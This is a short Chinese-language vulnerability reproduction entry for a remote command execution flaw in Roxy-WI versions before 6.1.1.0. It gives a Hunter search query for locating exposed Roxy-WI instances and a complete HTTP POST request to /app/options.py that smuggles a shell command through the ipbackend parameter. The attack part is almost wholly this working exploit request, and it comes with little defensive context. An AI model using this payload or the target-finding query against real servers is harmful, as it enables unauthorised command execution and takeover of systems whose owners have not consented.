R9-1Roxy-WI-RCE

漏洞描述：

Roxy-WI是开源的一款用于管理Haproxy、Nginx和Keepalive服务器的Web界面。Roxy-WI 6.1.1.0之前版本options.py接口存在远程命令执行漏洞，攻击者可以执行命令获取服务器权限。

影响版本：

- Roxy-WI 6.1.1.0之前

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name="Roxy-WI"

漏洞复现：

payload：

```
POST /app/options.py HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 82

alert_consumer=1&serv=127.0.0.1&ipbackend=%22%3Bid+%23%23&backend_server=127.0.0.1
```

效果图: